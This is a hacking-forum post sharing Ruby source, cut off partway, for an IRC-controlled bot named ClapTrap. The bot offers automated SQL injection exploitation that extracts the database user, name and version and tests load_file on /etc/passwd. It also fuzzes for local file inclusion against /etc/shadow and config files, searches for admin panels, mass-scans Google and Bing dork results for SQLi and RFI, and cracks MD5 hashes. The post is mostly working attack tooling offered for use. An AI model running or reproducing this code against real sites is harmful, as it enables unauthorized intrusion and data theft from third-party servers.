comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[Ruby] ClapTrap IRC Bot 0.5

  • 0 Respuestas
  • 1456 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil
« en: Septiembre 25, 2015, 07:05:02 pm »
Traduccion a Ruby de mi bot para IRC llamado ClapTrap.

Tiene las siguiente opciones :

  • Scanner SQLI
  • Scanner LFI
  • Buscador de panel de administracion
  • Localizador de IP
  • Buscador de DNS
  • Buscador de SQLI y RFI en google
  • Crack para hashes MD5
  • Cortador de URL usando tinyurl
  • HTTP FingerPrinting
  • Codificador base64,hex y ASCII 


El codigo :

Código: Ruby
  1. #!usr/bin/ruby
  2. #Claptrap IRC Bot 0.5
  3. #(C) Doddy Hackman 2015
  4.  
  5. require "socket"
  6. require "open-uri"
  7. require "net/http"  
  8. require "resolv"
  9. require "base64"
  10. require "digest/md5"
  11.  
  12. $timeout = "1"
  13.  
  14. # Functions
  15.  
  16. def head()
  17.         print "\n\n
  18.  @@@@  @       @    @@@@@  @@@@@  @@@@@     @    @@@@@     @  @@@@@    @@@@
  19. @    @ @       @    @    @   @    @    @    @    @    @    @  @    @  @    @
  20. @      @      @ @   @    @   @    @    @   @ @   @    @    @  @    @  @    
  21. @      @      @ @   @    @   @    @    @   @ @   @    @    @  @    @  @    
  22. @      @     @   @  @@@@@    @    @@@@@   @   @  @@@@@     @  @@@@@   @    
  23. @      @     @   @  @        @    @    @  @   @  @         @  @    @  @    
  24. @      @     @@@@@  @        @    @    @  @@@@@  @         @  @    @  @    
  25. @    @ @    @     @ @        @    @    @ @     @ @         @  @    @  @    @
  26.  @@@@  @@@@@@     @ @        @    @    @ @     @ @         @  @    @   @@@@
  27.  \n\n"
  28. end
  29.  
  30. def copyright()
  31.         print "\n\n-- == (C) Doddy Hackman 2015 == --\n\n"
  32. end
  33.  
  34. #
  35.  
  36. # Functions ClapTrap
  37.  
  38. def get_ip(hostname)
  39.         begin
  40.                 return Resolv.getaddress(hostname)
  41.         rescue
  42.                 return "Error"
  43.         end
  44. end
  45.  
  46. def toma(web)
  47.         begin
  48.                 return open(web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0").read
  49.         rescue
  50.                 return "Error"
  51.         end
  52. end
  53.  
  54. def response_code(web)
  55.         begin
  56.                 return Net::HTTP.get_response(URI(web)) .code
  57.         rescue
  58.                 return "404"
  59.         end
  60. end
  61.  
  62. def tomar(web,arg)
  63.         begin
  64.                 headers = {"User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"}
  65.                 uri = URI(web)
  66.                 http = Net::HTTP.new(uri.host, uri.port)
  67.                 return http.post(uri.path,arg, headers).body
  68.         rescue
  69.                 return "Error"
  70.         end
  71. end
  72.  
  73. def toma_ssl(web)
  74.         uri = URI.parse(web)
  75.         nave = Net::HTTP.new(uri.host, uri.port)
  76.         nave.use_ssl = true
  77.         nave.verify_mode = OpenSSL::SSL::VERIFY_NONE
  78.         return nave.get(uri.request_uri,{"User-Agent"=> "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/20.0"}).body
  79. end
  80.  
  81. def cortar(pages)
  82.         final = ""
  83.         finales = []
  84.         pages.flatten.each do |page|
  85.                 if page=~/(.*)=(.*)/
  86.                         parte1 = $1
  87.                         parte2 = $2
  88.                         final = parte1 + "="
  89.                         finales.push(final)
  90.                 end
  91.         end
  92.         return finales
  93. end
  94.  
  95.  
  96. def google(dork,pages)
  97.  
  98.         links = []
  99.         dork = dork.sub(/ /,"+")
  100.         contador = 0
  101.         for i in ("1"..pages)
  102.                 contador+=10
  103.                 code = toma_ssl("https://www.google.com.ar/search?hl=&q=" + dork+ "&start="+contador.to_s)
  104.                 paginas = code.scan(/(?<="r"><. href=")(.+?)"/)
  105.                 paginas.flatten.each do |pagina|
  106.                         partes = pagina
  107.                         if partes=~/url\?q=(.*)&amp;sa/
  108.                                 parte = $1
  109.                                 link = URI::decode(parte)
  110.                                 links.push(link)
  111.                         end
  112.                 end
  113.                 end
  114.                 links = links.uniq
  115.         return links
  116. end
  117.  
  118. def google_recursive(dork,pages)
  119.         dork = dork.sub(/ /,"+")
  120.         contador = 0
  121.         guardo = []
  122.         for i in ("1"..pages)
  123.                 contador+=10
  124.                 url = "https://www.google.com.ar/search?hl=&q="+dork+"&start="+contador.to_s
  125.                 code = toma_ssl(url)
  126.                 links = URI::extract(code)
  127.                 links.each do |link|
  128.                         if link=~/cache:(.*?):(.*?)\+/
  129.                                 link_final = "http://"+$2
  130.                                 link_final = URI::decode(link_final)
  131.                                 guardo.push(link_final)
  132.                         end
  133.                 end
  134.         end
  135.         guardo = guardo.uniq
  136.         return guardo
  137. end
  138.  
  139. def bing(dork,pages)
  140.  
  141.         guardo = []
  142.         dork = dork.sub(/ /,"+")
  143.         contador = 0
  144.         for i in ("1"..pages)
  145.                 contador+=10
  146.  
  147.                 code = toma("http://www.bing.com/search?q=" + dork + "&first=" + contador.to_s)
  148.  
  149.                 links = code.scan(/<h2><a href="(.*?)" h/)
  150.  
  151.                 links.flatten.each do |link|
  152.                         link_final = URI::decode(link)
  153.                         if not link_final=~/http:\/\/778802\.r\.msn\.com\//
  154.                                 guardo.push(link_final)
  155.                         end
  156.                 end
  157.  
  158.                 links = code.scan(/<h3><a href="(.*?)" h/)
  159.  
  160.                 links.flatten.each do |link|
  161.                         link_final = URI::decode(link)
  162.                         if not link_final=~/http:\/\/778802\.r\.msn\.com\//
  163.                                 guardo.push(link_final)
  164.                         end
  165.                 end
  166.         end
  167.         guardo = guardo.uniq
  168.         return guardo
  169. end
  170.  
  171. def bypass(op)
  172.   if op=="--"
  173.     return "+","--"
  174.   elsif op=="/*"
  175.    return "/**/","/**/"
  176.   elsif op=="%20"
  177.    return "%20","%00"
  178.   else
  179.    return "+","--"    
  180.   end
  181. end
  182.  
  183. def decode_hex(text)
  184.   text = text.sub("0x","")
  185.   return [text].pack('H*')
  186. end
  187.  
  188. def encode_hex(text)
  189.   return "0x"+text.unpack('H*')[0]
  190. end
  191.  
  192. def httpfinger(page)
  193.         respuesta = ""
  194.         begin
  195.                 nave = Net::HTTP.start(page)
  196.                 headers = nave.head("/")
  197.                 headers.each do |name,value|
  198.                         respuesta = respuesta + "[+] "+name+" : "+value+"\n"
  199.                 end
  200.                 nave.finish
  201.         rescue
  202.                 respuesta = "Error"
  203.         end
  204.         return respuesta
  205. end
  206.  
  207. ##
  208.  
  209. def locateip(target)
  210.  
  211.         resultado = ""
  212.  
  213.         resultado = resultado + "\n[+] Getting IP ...\n"
  214.  
  215.         ip = get_ip(target)
  216.  
  217.         resultado = resultado + "\n[+] IP : "+ip+"\n"
  218.  
  219.         web = "http://www.melissadata.com/lookups/iplocation.asp"
  220.         resultado = resultado + "\n[+] Locating ...\n\n"
  221.  
  222.         code = tomar(web,"ipaddress="+ip+"&btn=Submit")
  223.  
  224.         if code=~/City<\/td><td align=(.*)><b>(.*)<\/b><\/td>/
  225.                 resultado = resultado + "[+] City : "+$2+"\n"
  226.         else
  227.                 resultado = resultado + "[+] City : Not Found\n"
  228.         end
  229.  
  230.         if code=~/Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>/
  231.                 resultado = resultado + "[+] Country : "+$2+"\n"
  232.         else
  233.                 resultado = resultado + "[+] Country : Not Found\n"
  234.         end
  235.  
  236.         if code=~/State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>/
  237.                 resultado = resultado + "[+] State or Region : "+$2+"\n";
  238.         else
  239.                 resultado = resultado + "[+] State of Region : Not Found\n"
  240.         end
  241.  
  242.         resultado = resultado + "\n[+] Getting DNS ...\n\n"
  243.  
  244.         control = "0"
  245.  
  246.         code = toma("http://www.ip-adress.com/reverse_ip/"+ip)
  247.  
  248.         dnss = code.scan(/whois\/(.*?)\">Whois/)
  249.  
  250.         dnss.flatten.each do |dns|
  251.                 begin
  252.                         if dns != ""
  253.                                 control = "1"
  254.                                 resultado = resultado + "[+] DNS Found : "+dns
  255.                         end
  256.                 end
  257.         end
  258.  
  259.         if control=="0"
  260.                 resultado = resultado + "\n[-] DNS Not Found\n"
  261.         end
  262.         return resultado
  263. end
  264.  
  265. def details(url,by)
  266.  pass1,pass2 = bypass(by)
  267.  resultado = ""
  268.  hextest = "0x2f6574632f706173737764" #/etc/passwd
  269.  hextest = "0x633A2F78616D70702F726561642E747874" #c:/xampp/read.txt
  270.  web1 = url.sub(/hackman/,"0x4b30425241")
  271.  web2 = url.sub(/hackman/,"concat(0x4b30425241,user(),0x4b30425241,database(),0x4b30425241,version(),0x4b30425241)")
  272.  web3 = url.sub(/hackman/,"unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file("+hextest+"))))")
  273.   resultado = resultado + "\n[+] Extracting information of the DB\n"
  274.  code1 = toma(web2)
  275.  if code1=~/K0BRA(.*)K0BRA(.*)K0BRA(.*)K0BRA/
  276.    user,data,ver = $1,$2,$3
  277.    resultado = resultado + "\n[+] Username : "+user
  278.    resultado = resultado + "\n[+] Database : "+data
  279.    resultado = resultado + "\n[+] Version : "+ver+"\n\n"
  280.  else
  281.    resultado = resultado + "[-] Not Found\n"
  282.  end
  283.   code2 = toma(web1+pass1+"from"+pass1+"mysql.user"+pass2)
  284.   code3 = toma(web1+pass1+"from"+pass1+"information_schema.tables"+pass2)
  285.   code4 = toma(web3)
  286.   if code2=~/K0BRA/
  287.     resultado = resultado + "[+] Mysql User : ON\n"
  288.   end
  289.   if code3=~/K0BRA/
  290.     resultado = resultado + "[+] information_schema : ON\n"
  291.   end
  292.   if code4=~/ERTOR854/
  293.     resultado = resultado + "[+] load_file : ON\n"
  294.   end  
  295.   return resultado
  296. end
  297.  
  298. def findlength(url,by)
  299.  pass1,pass2 = bypass(by)
  300.  z = "1"
  301.  control = "0"
  302.  resultado = ""
  303.  resultado = resultado + "\n[+] Finding columns lenght ...\n\n"
  304.  x = "concat(0x4b30425241,1,0x4b30425241)"
  305.  for num in ('2'..'25')
  306.    z = z+","+num
  307.    x= x+","+"concat(0x4b30425241,"+num+",0x4b30425241)"
  308.    code = toma(url+"1"+pass1+"and"+pass1+"1=0"+pass1+"union"+pass1+"select"+pass1+x)
  309.    if code=~/K0BRA(.*?)K0BRA/
  310.      resultado = resultado + "[+] The Page has "+num+" columns\n"
  311.      resultado = resultado + "[+] The number "+$1+" print data\n"
  312.      z = z.sub($1,"hackman")
  313.      sqli = url+"1"+pass1+"and"+pass1+"1=0"+pass1+"union"+pass1+"select"+pass1+z
  314.      control = "1"
  315.      break
  316.    end
  317.  end
  318.  if control != "1"
  319.    resultado = resultado + "[-] Columns lenght not found\n"
  320.  end
  321.  return resultado,sqli,control
  322. end
  323.  
  324. def scanner_sqli(page,by)
  325.  pass1,pass2 = bypass(by)
  326.  resultado = ""
  327.  rta1 = ""
  328.  rta2 = ""
  329.  resultado =  resultado + "[+] Testing vulnerability ...\n\n"
  330.  codeuno = toma(page+"1"+pass1+"and"+pass1+"1=0"+pass2)
  331.  codedos = toma(page+"1"+pass1+"and"+pass1+"1=1"+pass2)
  332.  if codeuno != codedos
  333.    resultado = resultado + "[+] Vulnerable !\n"
  334.    rta1,sqli,control = findlength(page,by)
  335.    if control=="1"
  336.     rta2 = details(sqli,"--")
  337.    end
  338.  else
  339.    resultado = resultado + "[-] Not Vulnerable\n"
  340.  end
  341.  resultado = resultado + rta1 + rta2
  342.  return resultado
  343. end
  344.  
  345. def scanner_lfi(web)
  346.         resultado = ""
  347.         files = ['c:/xampp/here.php','../../../boot.ini','../../../../boot.ini','../../../../../boot.ini','../../../../../../boot.ini','/etc/passwd','/etc/shadow','/etc/shadow~','/etc/hosts','/etc/motd','/etc/apache/apache.conf','/etc/fstab','/etc/apache2/apache2.conf','/etc/apache/httpd.conf','/etc/httpd/conf/httpd.conf','/etc/apache2/httpd.conf','/etc/apache2/sites-available/default','/etc/mysql/my.cnf','/etc/my.cnf','/etc/sysconfig/network-scripts/ifcfg-eth0','/etc/redhat-release','/etc/httpd/conf.d/php.conf','/etc/pam.d/proftpd','/etc/phpmyadmin/config.inc.php','/var/www/config.php','/etc/httpd/logs/error_log','/etc/httpd/logs/error.log','/etc/httpd/logs/access_log','/etc/httpd/logs/access.log','/var/log/apache/error_log','/var/log/apache/error.log','/var/log/apache/access_log','/var/log/apache/access.log','/var/log/apache2/error_log','/var/log/apache2/error.log','/var/log/apache2/access_log','/var/log/apache2/access.log','/var/www/logs/error_log','/var/www/logs/error.log','/var/www/logs/access_log','/var/www/logs/access.log','/usr/local/apache/logs/error_log','/usr/local/apache/logs/error.log','/usr/local/apache/logs/access_log','/usr/local/apache/logs/access.log','/var/log/error_log','/var/log/error.log','/var/log/access_log','/var/log/access.log','/etc/group','/etc/security/group','/etc/security/passwd','/etc/security/user','/etc/security/environ','/etc/security/limits','/usr/lib/security/mkuser.default','/apache/logs/access.log','/apache/logs/error.log','/etc/httpd/logs/acces_log','/etc/httpd/logs/acces.log','/var/log/httpd/access_log','/var/log/httpd/error_log','/apache2/logs/error.log','/apache2/logs/access.log','/logs/error.log','/logs/access.log','/usr/local/apache2/logs/access_log','/usr/local/apache2/logs/access.log','/usr/local/apache2/logs/error_log','/usr/local/apache2/logs/error.log','/var/log/httpd/access.log','/var/log/httpd/error.log','/opt/lampp/logs/access_log','/opt/lampp/logs/error_log','/opt/xampp/logs/access_log','/opt/xampp/logs/error_log','/opt/lampp/logs/access.log','/opt/lampp/logs/error.log','/opt/xampp/logs/access.log','/opt/xampp/logs/error.log','C:\ProgramFiles\ApacheGroup\Apache\logs\access.log','C:\ProgramFiles\ApacheGroup\Apache\logs\error.log','/usr/local/apache/conf/httpd.conf','/usr/local/apache2/conf/httpd.conf','/etc/apache/conf/httpd.conf','/usr/local/etc/apache/conf/httpd.conf','/usr/local/apache/httpd.conf','/usr/local/apache2/httpd.conf','/usr/local/httpd/conf/httpd.conf','/usr/local/etc/apache2/conf/httpd.conf','/usr/local/etc/httpd/conf/httpd.conf','/usr/apache2/conf/httpd.conf','/usr/apache/conf/httpd.conf','/usr/local/apps/apache2/conf/httpd.conf','/usr/local/apps/apache/conf/httpd.conf','/etc/apache2/conf/httpd.conf','/etc/http/conf/httpd.conf','/etc/httpd/httpd.conf','/etc/http/httpd.conf','/etc/httpd.conf','/opt/apache/conf/httpd.conf','/opt/apache2/conf/httpd.conf','/var/www/conf/httpd.conf','/private/etc/httpd/httpd.conf','/private/etc/httpd/httpd.conf.default','/Volumes/webBackup/opt/apache2/conf/httpd.conf','/Volumes/webBackup/private/etc/httpd/httpd.conf','/Volumes/webBackup/private/etc']
  348.         resultado = resultado + "[+] Testing the vulnerability LFI...\n\n"
  349.         code = toma(web+"'")
  350.         if code=~/No such file or directory in <b>(.*)<\/b> on line/
  351.                 fpd = $1
  352.                 resultado = resultado + "[+] LFI Detected\n\n"
  353.                 resultado = resultado + "[Full Path Discloure]: "+fpd+"\n"
  354.                 resultado = resultado + "\n[+] Fuzzing Files\n\n"
  355.                 files.each do |file|
  356.                         code = toma(web+file)
  357.                         if not code=~/No such file or directory in/
  358.                                 resultado= resultado + "[Link] : "+web+file+"\n"
  359.                         end
  360.                 end
  361.                 resultado = resultado + "\n[+] Done\n"
  362.         else
  363.                 resultado = resultado + "[-] Not Vulnerable to LFI\n\n"
  364.         end
  365.         return resultado
  366. end
  367.  
  368. def scanner_panel(page)
  369.         resultado = ""
  370.         panels = ['admin/admin.asp','admin/login.asp','admin/index.asp','admin/admin.aspx','admin/login.aspx','admin/index.aspx','admin/webmaster.asp','admin/webmaster.aspx','asp/admin/index.asp','asp/admin/index.aspx','asp/admin/admin.asp','asp/admin/admin.aspx','asp/admin/webmaster.asp','asp/admin/webmaster.aspx','admin/','login.asp','login.aspx','admin.asp','admin.aspx','webmaster.aspx','webmaster.asp','login/index.asp','login/index.aspx','login/login.asp','login/login.aspx','login/admin.asp','login/admin.aspx','administracion/index.asp','administracion/index.aspx','administracion/login.asp','administracion/login.aspx','administracion/webmaster.asp','administracion/webmaster.aspx','administracion/admin.asp','administracion/admin.aspx','php/admin/','admin/admin.php','admin/index.php','admin/login.php','admin/system.php','admin/ingresar.php','admin/administrador.php','admin/default.php','administracion/','administracion/index.php','administracion/login.php','administracion/ingresar.php','administracion/admin.php','administration/','administration/index.php','administration/login.php','administrator/index.php','administrator/login.php','administrator/system.php','system/','system/login.php','admin.php','login.php','administrador.php','administration.php','administrator.php','admin1.html','admin1.php','admin2.php','admin2.html','yonetim.php','yonetim.html','yonetici.php','yonetici.html','adm/','admin/account.php','admin/account.html','admin/index.html','admin/login.html','admin/home.php','admin/controlpanel.html','admin/controlpanel.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html','administrator/','administrator/index.html','administrator/login.html','administrator/account.html','administrator/account.php','administrator.html','login.html','modelsearch/login.php','moderator.php','moderator.html','moderator/login.php','moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/','account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html','admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp','admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/home.asp','admin/controlpanel.asp','admin/cp.asp','cp.asp','administrator/index.asp','administrator/login.asp','administrator/account.asp','administrator.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp','account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/','fileadmin.php','fileadmin.asp','fileadmin.html','administration.html','sysadmin.php','sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp','ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html','Server.asp','Server/','wp-admin/','administr8.php','administr8.html','administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp','webadmin.html','administratie/','admins/','admins.php','admins.asp','admins.html','administrivia/','Database_Administration/','WebAdmin/','useradmin/','sysadmins/','admin1/','system-administration/','administrators/','pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/','administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/','cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/','project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/','wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/','Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/','irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/','administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/','Super-Admin/','AdminTools/','cmsadmin/','SysAdmin2/','globes_admin/','cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/','server/','database_administration/','power_user/','system_administration/','ss_vms_admin_sm/']
  371.         resultado = resultado + "[+] Scanning ...\n\n"
  372.         control = "0"
  373.         panels.each do |panel|
  374.                 begin
  375.                         url = page+"/"+panel
  376.                         status_code = response_code(url)
  377.                         if status_code=="200"
  378.                                 resultado = resultado + "[+] Link : "+url+"\n"
  379.                                 control = "1"
  380.                         end
  381.                 end
  382.         end
  383.         if control=="1"
  384.                 resultado = resultado + "\n[+] Done\n"
  385.         else
  386.                 resultado = resultado + "\n[-] Not Found\n"
  387.         end
  388.         return resultado
  389. end
  390.  
  391. def get_httpfinger(page)
  392.         resultado = ""
  393.        resultado = resultado + "[+] Searching ...\n\n"
  394.         resultado = resultado + httpfinger(page)
  395.         return resultado
  396. end
  397.  
  398. def crack_md5(md5)
  399.         resultado = ""
  400.         resultado = resultado + "[+] Cracking ...\n\n"
  401.  
  402.         code = tomar("http://md5online.net/index.php","pass="+md5+"&option=hash2text&send=Submit")
  403.  
  404.         if code=~/pass : <b>(.*?)<\/b>/
  405.                 password = $1
  406.                 resultado = resultado + "[+] md5online.net -> "+password+"\n"
  407.         else
  408.                 resultado = resultado + "[-] md5online.net -> Not Found" + "\n"
  409.         end
  410.        
  411.         code = tomar("http://md5.my-addr.com/md5_decrypt-md5_cracker_online/md5_decoder_tool.php","md5="+md5)
  412.  
  413.         if code=~/<span class='middle_title'>Hashed string<\/span>: (.*?)<\/div>/
  414.                 password = $1
  415.                 resultado = resultado + "[+] md5.my-addr.co -> "+password+"\n"
  416.         else
  417.                 resultado = resultado + "[-] md5.my-addr.co -> Not Found" +"\n"
  418.         end
  419.  
  420.         code = tomar("http://md5decryption.com/index.php","hash="+md5+"&submit=Decrypt It!")
  421.  
  422.         if code=~/Decrypted Text: <\/b>(.*?)<\/font>/
  423.                 password = $1
  424.                 resultado = resultado + "[+] md5decryption.com -> "+password+"\n"
  425.         else
  426.                 resultado = resultado +  "[-] md5decryption.com -> Not Found"+"\n"
  427.         end
  428.        
  429.         return resultado
  430.  
  431. end
  432.  
  433. def tiny_url(page)
  434.         resultado = ""
  435.         code = toma("http://tinyurl.com/api-create.php?url="+page)
  436.         if code=~/http/
  437.                 resultado = resultado + "[+] Link : "+code
  438.         else
  439.                 resultado = resultado + "[-] Error"
  440.         end
  441.         return resultado
  442. end
  443.  
  444. def codificar_hex(text)
  445.         return "[+] Result : "+encode_hex(text)
  446. end
  447.  
  448. def decodificar_hex(text)
  449.         return "[+] Result : "+decode_hex(text)
  450. end
  451.  
  452. def codificar_base64(text)
  453.         return "[+] Result : "+Base64.encode64(text).chomp
  454. end
  455.  
  456. def decodificar_base64(text)
  457.         return "[+] Result : "+Base64.decode64(text).chomp
  458. end
  459.  
  460. def codificar_ascii(text)
  461.         resultado = ""
  462.         resultado = resultado + "[+] Result : "+text.split("").map(&:ord).to_s
  463.         return resultado
  464. end
  465.  
  466. def md5_encode(text)
  467.         return "[+] Result : "+Digest::MD5.hexdigest(text).chomp
  468. end
  469.        
  470.  
  471. def scanner_dns(domain)
  472.  paths = ["www","www1","www2","www3","ftp","ns","mail","3com","aix","apache","back","bind","boreder","bsd","business","chains","cisco","content","corporate","cpv","dns","domino","dominoserver","download","e-mail","e-safe","email","esafe","external","extranet","firebox","firewall","front","fw","fw0","fwe","fw-1","firew","gate","gatekeeper","gateway","gauntlet","group","help","hop","hp","hpjet","hpux","http","https","hub","ibm","ids","info","inside","internal","internet","intranet","ipfw","irix","jet","list","lotus","lotusdomino","lotusnotes","lotusserver","mailfeed","mailgate","mailgateway","mailgroup","mailhost","maillist","mailpop","mailrelay","mimesweeper","ms","msproxy","mx","nameserver","news","newsdesk","newsfeed","newsgroup","newsroom","newsserver","nntp","notes","noteserver","notesserver","nt","outside","pix","pop","pop3","pophost","popmail","popserver","print","printer","private","proxy","proxyserver","public","qpop","raptor","read","redcreek","redhat","route","router","scanner","screen","screening","ecure","seek","smail","smap","smtp","smtpgateway","smtpgw","solaris","sonic","spool","squid","sun","sunos","suse","switch","transfer","trend","trendmicro","vlan","vpn","wall","web","webmail","webserver","webswitch","win2000","win2k","upload","file","fileserver","storage","backup","share","core","gw","wingate","main","noc","home","radius","security","access","dmz","domain","sql","mysql","mssql","postgres","db","database","imail","imap","exchange","sendmail","louts","test","logs","stage","staging","dev","devel","ppp","chat","irc","eng","admin","unix","linux","windows","apple","hp-ux","bigip","pc"]
  473.  resultado = ""
  474.  resultado = resultado + "[+] Searching DNS ...\n\n"
  475.  control = "0"
  476.  paths.each do |path|
  477.                 begin
  478.                         url = "http://"+path+"."+domain
  479.  
  480.                         status_code = response_code(url)
  481.                         if status_code=="200"
  482.                                 resultado = resultado + "[+] Link : "+url+"\n"
  483.                                 control = "1"
  484.                         end
  485.                 end
  486.  end
  487.  
  488.  if control=="1"
  489.         resultado = resultado + "\n[+] Done\n"
  490.  else
  491.         resultado = resultado + "\n[-] Not Found\n"
  492.  end
  493.  
  494.  return resultado
  495.  
  496. end
  497.  
  498. def sqli_finder(dork,pages,opcion)
  499.  
  500.         resultado = ""
  501.  
  502.         if opcion=="bing"
  503.                
  504.                 resultado = resultado + "[+] Searching in Bing ...\n\n"
  505.                
  506.                 links = cortar(bing(dork,pages))
  507.  
  508.                 resultado = resultado + "[+] Pages Count : "+links.count.to_s+"\n\n"
  509.  
  510.                 if links.count.to_s=="0"
  511.                         resultado = resultado + "[-] Links not found\n"
  512.                 end
  513.  
  514.                 links.flatten.each do |link|
  515.                         resultado = resultado + "[+] Link : "+link
  516.                         begin
  517.                                 url = toma(link + "-1+union+select+1--")
  518.                                 if url=~/The used SELECT statements have a different number of columns/
  519.                                         resultado = resultado + " [OK]\n"
  520.                                 else
  521.                                         resultado = resultado + " [FAIL]\n"
  522.                                 end
  523.                         rescue
  524.                                 resultado = resultado + " [FAIL]\n"
  525.                         end
  526.                 end
  527.        
  528.                 resultado = resultado + "\n[+] Finished\n"
  529.        
  530.         elsif opcion=="google"
  531.                
  532.                 resultado = resultado + "[+] Searching in Google ...\n\n"
  533.                
  534.                 links = cortar(google(dork,pages))
  535.  
  536.                 if links.count.to_s=="0"
  537.                         resultado = resultado + "[+] Searching in Google again ...\n\n"
  538.                         links = cortar(google_recursive(dork,pages))
  539.                 end
  540.  
  541.                 resultado = resultado + "[+] Pages Count : "+links.count.to_s+"\n\n"
  542.        
  543.                 if links.count.to_s=="0"
  544.                         resultado = resultado + "[-] Links not found"
  545.                 end
  546.  
  547.                 links.flatten.each do |link|
  548.                         resultado = resultado + "[+] Link : "+link
  549.                         begin
  550.                                 url = toma(link + "-1+union+select+1--")
  551.                                 if url=~/The used SELECT statements have a different number of columns/
  552.                                         resultado = resultado + " [OK]\n"
  553.                                 else
  554.                                         resultado = resultado + " [FAIL]\n"
  555.                                 end
  556.                         rescue
  557.                                 resultado = resultado + " [FAIL]\n"
  558.                         end
  559.                 end
  560.         else
  561.          resultado = "[-] Bad Option"
  562.          end
  563.         return resultado
  564. end
  565.  
  566. def rfi_finder(dork,pages,opcion)
  567.  
  568.         resultado = ""
  569.  
  570.         if opcion=="bing"
  571.                
  572.                 resultado = resultado + "[+] Searching in Bing ...\n\n"
  573.                
  574.                 links = cortar(bing(dork,pages))
  575.  
  576.                 resultado = resultado + "[+] Pages Count : "+links.count.to_s+"\n\n"
  577.  
  578.                 if links.count.to_s=="0"
  579.                         resultado = resultado + "[-] Links not found\n"
  580.                 end
  581.  
  582.                 links.flatten.each do |link|
  583.                         resultado = resultado + "[+] Link : "+link
  584.                         begin
  585.                                 url = toma(link + "http://www.supertangas.com/")
  586.                                 if url=~/Los mejores TANGAS de la red/i
  587.                                         resultado = resultado + " [OK]\n"
  588.                                 else
  589.                                         resultado = resultado + " [FAIL]\n"
  590.                                 end
  591.                         rescue
  592.                                 resultado = resultado + " [FAIL]\n"
  593.                         end
  594.                 end
  595.        
  596.                 resultado = resultado + "\n[+] Finished\n"
  597.        
  598.         elsif opcion=="google"
  599.                
  600.                 resultado = resultado + "[+] Searching in Google ...\n\n"
  601.                
  602.                 links = cortar(google(dork,pages))
  603.  
  604.                 if links.count.to_s=="0"
  605.                         resultado = resultado + "[+] Searching in Google again ...\n\n"
  606.                         links = cortar(google_recursive(dork,pages))
  607.                 end
  608.  
  609.                 resultado = resultado + "[+] Pages Count : "+links.count.to_s+"\n\n"
  610.        
  611.                 if links.count.to_s=="0"
  612.                         resultado = resultado + "[-] Links not found"
  613.                 end
  614.  
  615.                 links.flatten.each do |link|
  616.                         resultado = resultado + "[+] Link : "+link
  617.                         begin
  618.                                 url = toma(link + "http://www.supertangas.com/")
  619.                                 if url=~/Los mejores TANGAS de la red/i
  620.                                         resultado = resultado + " [OK]\n"
  621.                                 else
  622.                                         resultado = resultado + " [FAIL]\n"
  623.                                 end
  624.                         rescue
  625.                                 resultado = resultado + " [FAIL]\n"
  626.                         end
  627.                 end
  628.         else
  629.          resultado = "[-] Bad Option"
  630.          end
  631.         return resultado
  632. end
  633.  
  634. #
  635.  
  636. def respuesta(to,texto)
  637. resultado = texto.split("\n")
  638. resultado.flatten.each do |linea|
  639.         if linea != ""
  640.                  $irc.print "PRIVMSG #{to} #{linea}\n"
  641.                  sleep $timeout.to_i
  642.         end
  643. end
  644. end
  645.  
  646. def bot_online(host,port,canal,admin)
  647.  print "\n[+] Connecting ...\n"
  648.  begin
  649.    $irc = TCPSocket.open(host,port)
  650.  rescue
  651.    print "\n[-] Error connecting\n"
  652.  else
  653.    nick = "ClapTrap"
  654.    $irc.print "NICK "+nick+"\r\n"
  655.    $irc.print "USER "+nick+" 1 1 1 1\r\n"
  656.    $irc.print "JOIN #{canal}\r\n"
  657.    print "\n[+] Online\n"
  658.    while 1
  659.       code = $irc.recv(9999)   
  660.      if code=~/PING (.*)/
  661.        $irc.print "PONG #{$1}\n"
  662.      end
  663.      if code=~/:(.*)!(.*) PRIVMSG (.*) :(.*)/
  664.               dedonde = $1
  665.               mensaje = $4
  666.               if dedonde==admin
  667.                
  668.                 if mensaje=~/!sqli (.*)/
  669.                  arg1 = $1
  670.                  arg1 = arg1.chomp
  671.                  $irc.print "PRIVMSG #{admin} [+] Working ...\n"
  672.                  respuesta(admin,scanner_sqli(arg1,"--"))
  673.                  $irc.print "PRIVMSG #{admin} [+] Finished\n"
  674.                end
  675.                if mensaje=~/!lfi (.*)/
  676.                  arg1 = $1
  677.                  arg1 = arg1.chomp
